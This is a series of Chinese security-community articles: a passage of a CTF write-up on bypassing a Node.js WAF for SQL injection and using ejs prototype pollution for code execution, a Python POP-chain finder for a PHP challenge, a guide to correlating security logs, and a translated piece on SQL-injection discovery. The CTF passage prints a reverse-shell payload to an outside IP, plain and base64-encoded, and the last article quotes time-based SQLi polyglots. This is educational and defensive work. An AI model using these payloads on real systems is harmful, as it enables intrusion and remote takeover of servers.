const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
可以发现这里是一个waf，用于防止sql注入中的单双引号闭合：定义了waf对传入的username和password进行遍历然后将黑名单里的东西进行替换，然后再将str进行拼接，将非法字符替换成*然后拼接两边的东西，这个地方对传入的字符串用数组str[i]逐个进行遍历
所以我们可以用数组进行绕过：`username[str1,str2,str3]`对应的就是：`username`遍历数组里面的键值，所以我们就可以绕过他的单个遍历，直接让字符串等于`*`（显然不相等）
但是依然不能够注入到sql语句当中：因为
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
这里substr只能对字符串进行使用，而数组不能够使用，所以没法将其注入到sql语句当中，但是我们注意到有这个函数：
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
他会将匹配到的恶意字符变成*然后前后拼接，形成一个字符串类型，所以我们只要能够在后面构造出一个非法字符，就可以将数组再次转化为字符串。
所以我们提交的payload就是：
username[]=admin'#&urname[]=1&uername[]=1&uername[]=1&uername[]=1&sername[]=(&password=123
然后我们成功登录进去拿到了token。
我们继续审计代码发现了adminDIV路由中存在对键值操作的代码，有可能会引起原型链污染：
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql =`select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));
board = JSON.parse(JSON.stringify(query[0].board));
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
extend({},JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
这个地方拿取了cookie的值，将post的内容以json形式传递给data，然后调用verifyToken函数验证token的有效性并将结果返回给result，如果验证通过就进入if语句当中，然后将用户名保存在变量username中，构建一个sql查询语句，从board中获取对应用户的数据
// 调用 select 函数执行 SQL 查询，将结果转换为 JSON 格式
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));
// 从查询结果中获取该用户的布局数据
board = JSON.parse(JSON.stringify(query[0].board));
然后遍历post传参的内容，并构建一个addDIV，将post内容写入，这个地方的extend函数其实就是一个merge函数，又因为addDIV的值来源于post内容，所以我们能够控制其值，从而达到原型链污染的效果。
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`
我们注意这个代码：addDIV由三部分组成，我们想要污染，我们就需要uesrname为 **proto**
,所以这里额外需要用addAdmin路由来进行添加，而addAdmin这个位置就需要我们login路由里面的token进行注册，这样才能成功注册用户名`__proto__`.
因为使用的是ejs模板，并进行了调用，我们就可以直接利用里面的outputFunctionName进行污染拼接：
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
所以我们在adminDIVpost传参处构造payload：
{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/100.100.100.100/2333 0>&1\"');var __tmp2"}
因为这里是post传参，不是JSON，所以我们要对反弹shell的地方进行base64编码然后再解码，以免出现控制字符的干扰：
{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAwLjEwMC4xMDAuMTAwLzIzMzMgMD4mMVwi|base64 -d|bash');var __tmp2"} | 社区文章 |
# 从popmaster理解程序分析理论部分内容
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
本人水平有限，如有错误，欢迎指点
看到作者的出题思路是抽象代码树和污点分析，因为之前发了几篇程序分析理论的文章但是一直没有实践，所以拿这道题自己实践一下。
污点分析在第一篇程序设计分析理论中，我写的是语义分析，但在后面的文章中还没有正式出现。关于抽象代码树，要在后面的抽象解释才提到。
过程间分析的内容还没有发出来，可以先看这篇文章帮助理解后面的过程间分析
我们已经介绍的只是数据流分析的部分内容，所以这篇文章首先会是根据数据流分析的过程间分析编写一个遍历以入口函数为起点的所有路径的脚本实现代码分析。
最后我们还会看一看出题人的exp。
## 编程思路
这一道题是一个单输入多输出的问题，根据之前流的理论，我们应该从输入开始分析。同时这道题是函数的跳转，所以我们选择过程间分析。根据上下文敏感的想法，我们在分支处应该是调用函数，主函数暂停，执行调用函数，调用函数退出的状态是主函数重新开始的状态。基于这一理论，我们定义一个函数，当出现分支时继续调用自身函数，未出现分支时，如果依旧是过程函数，还是调用自身，如果是eval输出函数
，那么结束并输出pop链
除此之外，不少师傅在比赛时，选择从eval开始判断，先寻找不覆盖变量的eval，再往上找。是使用了逆流分析的方法，
在之前的文章里，我们提到逆流分析一般是多输入单输出的情况，为什么这里单输入多输出会使用逆流分析呢，主要是只需要找到一条链，多输出转换成了单输出，把这道题变成了单输入单输出的问题。当然，这并不意味着多输出的程序不能用逆流分析的方法。只是缺少了一些过程间分析的内容。
## 编写过程
类，函数，变量
函数有过程的函数和结束的eval函数
变量就是每一次要赋值的类名
这一个程序主要是跳转比较多，每一个具体执行没有太多需要注意的安全问题，要结合过程间分析编写代码。
我们之前提到过程间分析需要记录跳转前跳转后状态。在这里主要是记录上一个类和下一个类是哪个的问题。这个时候想到树结构能够记录上下同时满足多个分支。
在众多树结构中，我们想到结构归纳法帮助我们简化逻辑，在这个程序中最小单元是函数，我们用函数当作树状图的元素。我们记录每一个函数属于哪个类便于变量赋值，把函数是eval的当作终点。
对于一个形如
class Un9h32{
public $msePmc1;
public function NndvxI($HeqXE){
for($i = 0; $i < 35; $i ++){
$aKMhTe= $HeqXE;
}
if(method_exists($this->msePmc1, 'T0bEwD')) $this->msePmc1->T0bEwD($HeqXE);
if(method_exists($this->msePmc1, 'CdFIxA')) $this->msePmc1->CdFIxA($HeqXE);
}
public function gQLRqZ($cMmLT){
eval($cMmLT);
}
}
的类，我们需要记录类名，函数，函数指向的函数/eval
1.
我们要让python读取class后面的内容直到{ 记录为类名
public $直到 ; 记录为变量名
public function 直到 ( 记录为函数名
$this->xxx-> 直到( 记录为下一个函数名
封装成一个以函数名为主键的表，
先是一个类的封装
因为不会字符匹配所以仅仅通过位置获取，通用性差，后面再修改
代码如下
#coding=utf-8
import os, sys, re
i = 1
j = 1
class func:
class_name = '' #类名
cur_function = '' #当前函数名
next_function = [] #下一个函数名
var = '' #变量名
bool_cur = False #是否是eval
bool_next = False #下一个函数是否多个
with open('asd.php') as file:
for content in file:
if 'class' in content:
class_name = content[6:12]
if 'public $' in content:
var_name = content[12:19]
if 'public function' in content:
f = func()
f.cur_function = content[20:26]
f.class_name = class_name
f.var = var_name
i = i + 1
j = 1
if 'eval' in content:
f.bool_cur = True
if 'method_exists' in content:
f.next_function.append(content[62:68])
if j>1 :
f.bool_next = True
j = j + 1
print(f.class_name)
print(f.cur_function)
print(f.var)
print(f.bool_next)
print(f.bool_cur)
print(f.next_function[1])
拓展到多个类
由于树状结构本人不会，所以用写一个文件的方式构造树结构
#coding=utf-8
import os, sys, re
i = 1
j = 1
m = 1
class func:
class_name = '' #类名
cur_function = '' #当前函数名
next_function = [] #下一个函数名
var = '' #变量名
bool_cur = False #是否是eval
bool_next = False #下一个函数是否多个
w_file=open('tree.txt','w')
#读取记录
with open('asd.php') as file:
for content in file:
if 'class' in content:
class_name = content[6:12]
if 'public $' in content:
var_name = content[12:19]
if 'public function' in content:
if i > 1 :
w_file.write(f.cur_function)
w_file.write('\n class_name ')
w_file.write(f.class_name)
while j > m:
w_file.write('\n f ')
w_file.write(f.next_function[m-1])
m = m + 1
w_file.write('\n var ')
w_file.write(f.var)
w_file.write('\n bool_cur ')
w_file.write(str(f.bool_cur))
w_file.write('\n bool_next ')
w_file.write(str(f.bool_next))
w_file.write('\n')
f = func()
f.cur_function = content[20:26]
f.class_name = class_name
f.var = var_name
i = i + 1
if 'eval' in content:
f.bool_cur = True
if 'method_exists' in content:
f.next_function.append(content[62:68])
if j>1 :
f.bool_next = True
j = j + 1
处理数据，使数据成为链状结构。
定义函数
#处理数据
def paixu(content,keyword):
pre_content = content + keyword +'-->'
position = tree_content.find(keyword)
key_position = tree_content.find('f ',position)
keyword = tree_content[key_position+2:key_position+8]
post_next = tree_content.find('bool_next',position)
num = tree_content[post_next+10:post_next+11]
num = int(num)
while num >= 1:
paixu(pre_content,keyword)
key_position = tree_content.find('f ',key_position+1)
keyword = tree_content[key_position+2:key_position+8]
num = num - 1
post_cur = tree_content.find('bool_cur',position)
current = tree_content[post_cur+9:post_cur+10]
current = int(current)
print(pre_content)
if current == 1:
w_file.write(pre_content+'\n')
print(pre_content+'\n')
但是python递归深度有限制，同时可能会导致栈溢出
仅仅针对这一道题，我们限制链的长度，先找到一条能够到eval的链
t = 0
#处理数据
def paixu(content,keyword,t):
pre_content = content + keyword +'-->'
if t > 30:
print(pre_content)
r_file.write(pre_content+'\n')
return 0
position = tree_content.find(keyword)
key_position = tree_content.find('f ',position)
keyword = tree_content[key_position+2:key_position+8]
post_next = tree_content.find('bool_next',position)
num = tree_content[post_next+10:post_next+11]
num = int(num)
while num >= 1:
t = t + 1
paixu(pre_content,keyword,t)
key_position = tree_content.find('f ',key_position+1)
keyword = tree_content[key_position+2:key_position+8]
num = num - 1
post_cur = tree_content.find('bool_cur',position)
current = tree_content[post_cur+9:post_cur+10]
current = int(current)
if current == 1:
print(pre_content)
r_file.write('\n')
r_file.write(pre_content+'\n')
r_file.write('\n')
return 0
3.
从入口开始找路径
#coding=utf-8
import os, sys, re
sys.setrecursionlimit(3000)
class func:
class_name = '' #类名
cur_function = '' #当前函数名
next_function = [] #下一个函数名
var = '' #变量名
bool_cur = 0 #是否是eval
bool_next = 0 #下一个函数是否多个
#读取记录
def read():
i = 1
j = 0
m = 1
k = 0
w_file=open('tree.txt','w')
with open('class.php') as file:
for content in file:
if 'class' in content:
class_name = content[6:12]
if 'public $' in content:
var_name = content[12:19]
if 'public function' in content:
if i > 1 :
w_file.write('cur ')
w_file.write(f.cur_function)
w_file.write('\n class_name ')
w_file.write(f.class_name)
while j >= m:
w_file.write('\n f ')
w_file.write(f.next_function[m-1])
m = m + 1
w_file.write('\n var ')
w_file.write(f.var)
w_file.write('\n bool_cur ')
w_file.write(str(f.bool_cur))
w_file.write('\n bool_next ')
w_file.write(str(f.bool_next))
w_file.write('\n')
k = 0
f = func()
f.cur_function = content[20:26]
f.class_name = class_name
f.var = var_name
i = i + 1
if 'eval' in content:
f.bool_cur = 1
if 'method_exists' in content:
f.next_function.append(content[62:68])
j = j + 1
k = k + 1
f.bool_next = k
else:
if '$this->' in content:
next_position = content.find('$this->')
true = content.find('->',next_position+7)
if true != -1:
f.next_function.append(content[next_position+16:next_position+22])
j = j + 1
k = k + 1
f.bool_next = k
t = 0
#处理数据
def paixu(content,keyword,t):
position = tree_content.find('cur '+keyword)
pre_content = content + keyword +'-->'
post_cur = tree_content.find('bool_cur',position)
current = tree_content[post_cur+9:post_cur+10]
current = int(current)
if current == 1:
print('yes '+pre_content)
r_file.write('yes ')
r_file.write(pre_content+'\n')
r_file.write('\n')
return 0
if t > 30:
print('no '+pre_content)
r_file.write(pre_content+'no\n')
return 0
key_position = tree_content.find('f ',position)
keyword = tree_content[key_position+2:key_position+8]
post_next = tree_content.find('bool_next',position)
num = tree_content[post_next+10:post_next+11]
num = int(num)
while num >= 1:
t = t + 1
paixu(pre_content,keyword,t)
key_position = tree_content.find('f ',key_position+1)
keyword = tree_content[key_position+2:key_position+8]
num = num - 1
t = t - 1
content = ''
\#read()
r_file=open('result.txt','w')
with open('tree.txt') as w_file :
keyword = 'qZ5gIM'
tree_content = w_file.read()
position = tree_content.find(keyword)
content = keyword + '-->'
key_position = tree_content.find('f ',position)
keyword = tree_content[key_position+2:key_position+8]
post_next = tree_content.find('bool_next',position)
num = tree_content[post_next+10:post_next+11]
num = int(num)
while num >= 1:
t = t + 1
paixu(content,keyword,t)
key_position = tree_content.find('f ',key_position+1)
keyword = tree_content[key_position+2:key_position+8]
num = num - 1
4.
验证可行
要把有覆盖变量的eval去除掉
我们将read 读取eval 的语句改成
if ‘eval’ in content:
f.bool_cur = 1
if ‘=\’’ in content[:-1]:
f.bool_cur = -1
到这一步已经可以完成pop链查找
但是我比较好奇是不是有一条没有拼接的链
所以继续加限制
#coding=utf-8
import os, sys, re ,linecache
sys.setrecursionlimit(3000)
class func:
class_name = '' #类名
cur_function = '' #当前函数名
next_function = [] #下一个函数名
var = '' #变量名
bool_cur = 0 #是否是eval
bool_next = 0 #下一个函数是否多个
token = 0
#读取记录
def read():
token = ''
i = 1
j = 0
m = 1
k = 0
last_last_last_content = ''
last_last_content = ''
last_content = ''
now_content = ''
w_file=open('tree.txt','w')
with open('class.php') as file:
for content in file:
last_last_last_content = last_last_content
last_last_content = last_content
last_content = now_content
now_content = content
if 'class' in content:
class_name = content[6:12]
if 'public $' in content:
var_name = content[12:19]
if 'public function' in content:
if i > 1 :
w_file.write('cur ')
w_file.write(f.cur_function)
w_file.write('\n class_name ')
w_file.write(f.class_name)
while j >= m:
w_file.write('\n f ')
w_file.write(f.next_function[m-1])
m = m + 1
w_file.write('\n var ')
w_file.write(f.var)
w_file.write('\n bool_cur ')
w_file.write(str(f.bool_cur))
w_file.write('\n bool_next ')
w_file.write(str(f.bool_next))
w_file.write('\n token ')
w_file.write(str(f.token))
w_file.write('\n')
k = 0
f = func()
f.cur_function = content[20:26]
token = ''
f.class_name = class_name
f.var = var_name
i = i + 1
if 'eval' in content:
f.bool_cur = 1
if '=\'' in last_content:
f.bool_cur = 2
if '.\'' in last_last_content:
num_content = last_last_last_content
if '>' in last_last_last_content:
num1_before_position = num_content.find('if(')
num1_after_position = num_content.find('>')
num2_after_position = num_content.find(')')
num1 = num_content[num1_before_position+3:num1_after_position]
num1 = int(num1)
num2 = num_content[num1_after_position+1:num2_after_position]
num2 = int(num2)
if num1 > num2:
f.bool_cur = 2
if 'method_exists' in content:
f.next_function.append(content[62:68])
j = j + 1
k = k + 1
f.bool_next = k
if '=\'' in last_content:
f.token = 1
if '.\'' in last_last_content:
num_content = last_last_last_content
if '>' in last_last_last_content:
num1_before_position = num_content.find('if(')
num1_after_position = num_content.find('>')
num2_after_position = num_content.find(')')
num1 = num_content[num1_before_position+3:num1_after_position]
num1 = int(num1)
num2 = num_content[num1_after_position+1:num2_after_position]
num2 = int(num2)
if num1 > num2:
f.token = 1
else:
if '$this->' in content:
next_position = content.find('$this->')
true = content.find('->',next_position+7)
if true != -1:
f.next_function.append(content[next_position+16:next_position+22])
j = j + 1
k = k + 1
f.bool_next = k
if '=\'' in last_content:
f.token = 1
if '.\'' in last_last_content:
num_content = last_last_last_content
if '>' in last_last_last_content:
num1_before_position = num_content.find('if(')
num1_after_position = num_content.find('>')
num2_after_position = num_content.find(')')
num1 = num_content[num1_before_position+3:num1_after_position]
num1 = int(num1)
num2 = num_content[num1_after_position+1:num2_after_position]
num2 = int(num2)
if num1 > num2:
f.token = 1
t = 0
#处理数据
def paixu(content,keyword,t):
position = tree_content.find('cur '+keyword)
token_position = tree_content.find('token ',position)
token = tree_content[token_position+6:token_position+7]
token = int(token)
if token == 1:
return 0
pre_content = content + keyword +'-->'
post_cur = tree_content.find('bool_cur',position)
current = tree_content[post_cur+9:post_cur+10]
current = int(current)
if current == 2:
return 0
if current == 1:
print('yes '+pre_content)
r_file.write('yes ')
r_file.write(pre_content+'\n')
r_file.write('\n')
return 0
if t > 30:
print('no '+pre_content)
r_file.write(pre_content+'no\n')
return 0
key_position = tree_content.find('f ',position)
keyword = tree_content[key_position+2:key_position+8]
post_next = tree_content.find('bool_next',position)
num = tree_content[post_next+10:post_next+11]
num = int(num)
while num >= 1:
t = t + 1
paixu(pre_content,keyword,t)
key_position = tree_content.find('f ',key_position+1)
keyword = tree_content[key_position+2:key_position+8]
num = num - 1
t = t - 1
content = ''
# read()
r_file=open('result.txt','w')
with open('tree.txt') as w_file :
keyword = 'qZ5gIM'
tree_content = w_file.read()
position = tree_content.find(keyword)
content = keyword + '-->'
key_position = tree_content.find('f ',position)
keyword = tree_content[key_position+2:key_position+8]
post_next = tree_content.find('bool_next',position)
num = tree_content[post_next+10:post_next+11]
num = int(num)
while num >= 1:
t = t + 1
paixu(content,keyword,t)
key_position = tree_content.find('f ',key_position+1)
keyword = tree_content[key_position+2:key_position+8]
num = num - 1
我将所有有拼接的数据全部过滤，最后结果是没有，可能是我代码还有问题，也有可能本身就是希望过滤拼接字符来实现pop链
## 出题人exp
接下来我们看看一下出题人的exp，笔者学历尚浅，只是粗浅看看而已。
大家可以去看<https://www.anquanke.com/post/id/244153>，这是出题人写的出题思路，exp的链接也在文章中
### main.php
get_ast是获取抽象代码树
deal_class是处理类的函数 如果是声明变量的类名当作变量处理，如果是方法的类名当作函数
get_func_call_map是获取函数调用关系，包括调用和被调用
get_func_tag是判断函数是否是敏感函数
get_CFG 处理上下文敏感的函数
function_node查找函数所在节点
get_path是遍历路径
deal_block处理代码块，判断其中变量是否被污染
run_CFG 模拟跳转流程
run_path模拟代码执行过程
main函数流程：
先看有没有危险函数，对危险函数的参数判断有没有被污染，然后遍历路径看看有没有调用可控参数的危险函数的路径。
### config.php
config.php是对一些输入输出进行分类，标记用途和是否可能存在安全问题。同时对某些安全问题所需要用到的方法进行整理。
### class.php
class.php是对类进行定义：
func_call_info 是关于调用函数的语句的类，记录了调用函数的语句的标签
func_path_info 记录执行完整程序所调用的全部函数和变量
func_call_map既记录函数调用关系又标记函数是否敏感
relation是记录调用关系和调用条件的类
CFG_class 是记录上下文数据的类
function.php是处理函数参数是否是用户可控的
visiter.php是各种情况的遍历器，记录进入节点前状态，退出节点时状态，将进入节点前状态转换成进入节点的状态，将退出节点时状态转换成原进程继续的状态。
在我的理解里，visiter的各种定义应该都可以归纳成下面的式子
init(p) = l_n
final(p) = {l_x}
blocks(p) = {is^l_n,end^l_x} ∪ blocks(S)
labels(p) = {l_n,l_x} ∪ labels(S)
flow(p) = {(l_n,init(S))} ∪ flow(S) ∪ {(l,l_x) | l ∈ final(S) }
也就是过程间分析的理论原型
语义分析部分应该是使用了基于方法的分析，将特殊结构单独分析，在最后组合起来。
**其他部分不妄加评论，以上内容如有错误，欢迎指点。exp分析如和原作者有冲突，一切以原作者为准。**
## 总结
我的代码主要是用了基于语句的分析，就是遍历所有情况，每次遍历判断是否危险，出题人的代码基于方法，更加高级。
其他的关于过程间分析的上下文敏感原理是一样的，就是我的代码水平更差，记录方式没有通用性。
对于危险函数或者污染参数肯定是出题人的代码更加完善。我的代码没有通用性。
希望这篇文章能够帮助各位理解之前的程序分析理论。笔者水平有限，如有错误，欢迎指点。
_作者：DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
`先知安全技术社区独家发文，如需转载，请先联系社区授权；未经授权请勿转载`
> 做好基础安全运维工作
# 1\. 为什么做日志关联分析
安全团队针对安全事件的2个主要（能力）阶段：一个是发现攻击事件，另外一个是防御正在进行的攻击。首先第一个阶段，发现攻击事件，大部分安全团队从明显的被黑特征才知道自己组织的业务被攻击，来源可能几种：
* 业务/外部通知系统不能访问或有篡改情况；
* 上级管理单位下发的安全通告；
* 兄弟部门（运维部门）通告。
无论那种情况对安全部门都是很糟糕的情况，安全人员有限，工作也杂也多，从单个安全设备上确认是否是有效的攻击事件几乎不可能，但是如果将攻击事件产生的日志以线性过程的方式收集呈现出来可以辅助确认真实的攻击事件。
# 2\. 怎样做日志关联分析
首先需要确定都有哪些安全事件，还是以典型业务网络为例说明。
应用服务器与数据库服务器分离，并对外提供业务服务。基本的安全防护设备都有，参考[《怎样做好基础安全设备运维》](http://www.freebuf.com/articles/es/159265.html)。
以威胁建模和风险的评估的角度考虑业务可能遭受的入侵和风险场景（可以通过头脑风暴的形式），下面以几个典型的场景为例：
1. 黑客发现并利用应用上传漏洞上传 Web shell 并获取应用服务器的权限，之后尝试攻击内网其他服务器。
分析这个攻击过程，先分2种情况：安全人员知道 Web 应用的某个页面存在上传漏洞（漏洞报告获得），从 WAF 或 IDS 上检测到上传 Web shell
行为， Web 应用服务器上的主机入侵检测或 Web shell 检测也发现有恶意文件，到这里就能判断是一次正在进行的入侵事件了；如果安全人员不知道 Web
应用存在上传漏洞，从 WAF 或 IDS 上检测上传攻击事件，从 Web 服务器主机入侵检测系统上或 Web Shell
检测工具上检测到变更/篡改，或者直接检测到上传木马文件，也能确定是入侵事件。
此次攻击过程可以在以下设备上生成相关日志：
* Web 应用日志
* WAF 攻击日志
* IDS 攻击日志
* Web 服务器主机入侵检测系统日志
* Web 服务器用户命令历史日志
* Web 服务器 Web shell 检测日志（如果有的话）
* Web 程序漏洞报告
分析各个安全设备上日志的记录，如时间、源地址、源端口、目的地址、目的端口、事件类型、URL 地址，Web shell 事件，从 WAF/IDS
获取事件源IP，使用该IP在应用日志上查询是否在上传页面 POST 过数据， 检查同时间是否有主机 Web shell
告警事件，如果发生，则确认是入侵事件，立即告警安全人员进行处理。获取过程逻辑如下午所示：
1. 黑客发现并利用应用上传漏洞上传 Web shell 并获取应用服务器的权限，之后篡改了应用服务器主页面（主要指图片或其他 HTML 静态资源）。
这个与第一个例子基本一致，在最后一步是使用主机 IDS 检测到关键资源文件变更
2. 黑客发现并利用应用服务器 SQLi 漏洞进行拖库。
分析攻击过程，首先业务网站上存在 SQLi 漏洞，安全人员可能知道或不知道，入侵者攻击时会触发 IDS/WAF 日志事件，数据库审计系统检测到应用发出
WAF SQLi 告警执行的查询语句。涉及到的日志如下：
* WAF/IDS 告警日志
* 数据库审计系统日志
其实这种方法只能副辅助确认成功的 SQLi 注入攻击，并不能确定是否成功拖库。实际关联的是2个日志的 SQL 查询的关键词。
3. 自动化攻击工具通过 SSH 弱口令登录内网应用服务器，下载并在受害服务器上执行挖矿程序，同时对内网其他服务器服务暴力破解攻击。
分析攻击过程：暴力破解密码工具在主机上会产生大量登录尝试，在服务器上留下登录尝试日志，如果部署了 IDS，IDS 也会提示有暴力破解攻击。从 bash
命令历史日志里可能存在执行下载命令，运维系统检测到服务器 CPU 利用率提升。
4. 黑客获取用户的身份凭证，并在深夜登录业务系统进行敏感业务操作（转账、支付）
这个日志收集过程要收集业务相关的日志，如登录日志、转账日志、支付日志等，通过用户的业务使用习惯形成用户画像的一系列标签。之后定义异常行为，如异地登录，连续登录失败次数、使用代理登录、异常时间登录、大额转账、异常时间转账、转账到异常账户等行为。
关联的日志主要是2方面：异常登录成功，之后执行异常的业务操作。再举个例子，深夜用户使用国外IP登录业务域名系统，修改的域名系统的指向记录。
业务日志关联的难点在于历史遗留系统并没有收集业务行为的日志，2次开发也很困难，可以考虑通过基于 Nginx WAF 的形式搜集业务日志，也是比较难。
5. 内网某个应用服务器感染病毒或木马，并向内网其他服务器发送攻击包。
2个方面：一个是杀毒软件告警和主机异常行为关联，主机异常行为可以是新的进程、新的账户、新安装的程序、注册表的修改等；另一个是杀毒软件告警和入侵检测事件关联，入侵检测事件可能是感染病毒的主机有发攻击探测包，有扫描行为等。
6. 应用系统遭受 CC 攻击。
CC 攻击可以通过 WAF 或者 DDoS 防御系统检测出来，结合运维监控的检测结果，如访问变慢，连接数变多，消耗系统资源变多辅助判断。
上面只是列出几个典型的攻击场景，实际分析时可以结合自己的业务，列出将所有可能的入侵形式，之后考虑入侵过程以及入侵过程在相应设备上产生的日志，再分析日志之间的关联规则就比较简单了。
# 3\. 关于安全事件的日志收集
为确保能够做好日志的关联分析，需要使用集中化的日志系统并尽可能的收集安全设备和服务器上的所有日志，使用集中化的日志也能防止黑客入侵后，删除服务器上的相关日志导致的发现入侵症状后却没日志分析的情况。日志收集有条件可以购买
splunk ，开源的也可以使用 ELK Stack，云服务可以使用日志易，根据自己的业务规模和资源情况选用合适的产品。选择的建议：
* 查询速度快
* 易部署和维护
* 易进行二次开发
收集的日志信息可以形成适合自己组织业务的威胁情报数据，如近3天的入侵源 IP 资源池，近一月的流行流行漏洞和攻击方式，代理 IP
库等等。也适用于组织其他业务的安全防御工作。另外关联分析的结果需要结合告警平台，将产生的告警事件通知到相关人员，告警可以使用短信、邮件、微信等方式，可以自建，也可以结合运维系统（如
zabbix）进行发送。也可以结合 zabbix 的事件处理程序直接对在运维平台上完成整个事件的处置。
将安全事件相关日志收集今昔收集，再用一些关联规则确定真实的攻击事件，实际就是
SIEM，将规则的提取、使用和禁用的过程做个一个生命周期的管理，结合安全事件的处置形成一套标准化的东西。
部分规则可以使用机器学习的套路，就是 NB 大数据、机器学习类解决方案了^^。
关联规则大家可以在评论中讨论。 | 社区文章 |
# 使用同构SQL语句逐步发现SQL注入漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 Eugene Lim，文章来源：https://spaceraccoon.dev/same-same-but-different-discovering-sql-injections-incrementally-with
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文介绍了一种新型SQL注入漏洞扫描方式，同构SQL语句。与传统方法相比，该方法可以更加有效地对SQL注入漏洞进行扫描。
## 动机
尽管现在已经开始大规模的使用对象关系映射(ORM)框架以及预编译SQL语句了，但还是有很多应用程序存在SQL注入漏洞，甚至于因为在对象和原始SQL语句转换过程中出错，ORM框架本身也会引入该漏洞。而且不及时维护应用程序或者有问题的开发流程都会导致SQL注入漏洞。
我在最开始的时候找不到任何SQL注入漏洞，因为和XSS漏洞相比，存在SQL注入漏洞的网站的响应中通常不包含注入语句的位置以及注入的方式。而如果是XSS漏洞，你通常可以在返回的HTML页面中看到payload的最终位置（Blind
XSS例外，payload可能在你无法访问的管理员页面）。
对于SQL注入漏洞来说，最好的情况就是你能获得一个详细的堆栈跟踪记录，包含了具体的SQL语句内容。
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
<div id="error">
<h1>Database Error</h1>
<div class='message'>
SQL syntax error near '''' where id=123' at line 1: update common_member SET name=''' where id=123
</div>
</div>
上面是最幸运的情况。但是通常会返回一个通用错误信息，甚至完全没有任何错误提示，响应内容是空的。
HTTP/1.1 200 OK
Content-Type: application/json
{
"users": []
}
在这种情况下，挖掘SQL漏洞耗时且困难。许多研究人员更喜欢用类似[sqlmap](https://github.com/sqlmapproject/sqlmap)这样的自动化工具做一次扫描，称其为“一日游”。但是在没有正确配置的情况下使用这些自动化工具其实并没有什么用，WAF会很快检测并拦截这些扫描行为。除此之外，每个SQL注入漏洞发生的上下文都很特殊，它可能会在`WHERE`运算符后，也可能在`LIKE`运算符后，也可能在`ORDER
BY`运算符后，每种情况需要的进行不同类型的注入，这还没有考虑应用对输入的过滤情况。
使用polyglots可以在一定程度上解决这个问题。但是从polyglots的定义上来看，可以在多种上下文上执行本身就会牺牲一定的隐蔽性和简洁性。比如说下面这个[来自Seclists的例子](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Polyglots/SQLi-Polyglots.txt)：
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
任何比较强大的WAF都会检测到上面这个例子，并进行拦截。
在实际情况中，研究人员需要在挖掘SQL注入漏洞时平衡以下两种情况：
1. 能够在多种上下文环境中检测并完成注入；
2. 能够绕过WAF以及应用对输入的过滤。
如果使用“同构SQL语句(Isomorphic SQL
Statements)”，就可以很好的解决上面的两个问题（这只是我的叫法，我知道其他人对它有别的称呼）。
## 分步的漏洞挖掘方法
还是和XSS对比，尽管存在很多XSS扫描器和模糊测试的方法，但是由于WAF的拦截以及独特的上下文环境，这些扫描器和方法通常效果不是特别好。最近出现了一些更先进的自动化漏洞挖掘的方法，尝试解决暴力扫描中存在的问题，像是James
Kettle的[Backslash Powered
Scanning](https://portswigger.net/research/backslash-powered-scanning-hunting-unknown-vulnerability-classes)，Kettle在文章中写到：
> 我们要做的不是扫描漏洞，而是扫描有趣的行为。
随后，一些自动化的工作开始使用定义好的启发式规则（有趣的行为）对应用进行测试，而不是单纯的枚举所有payload，比如说Ameen
Mali的[qsfuzz](https://github.com/ameenmaali/qsfuzz)和Project
Discovery的[nuclei](https://github.com/projectdiscovery/nuclei)。随着越来越的组织开始使用WAF并且规范开发流程，这会是所有大型的漏洞扫描工具的发展方向。
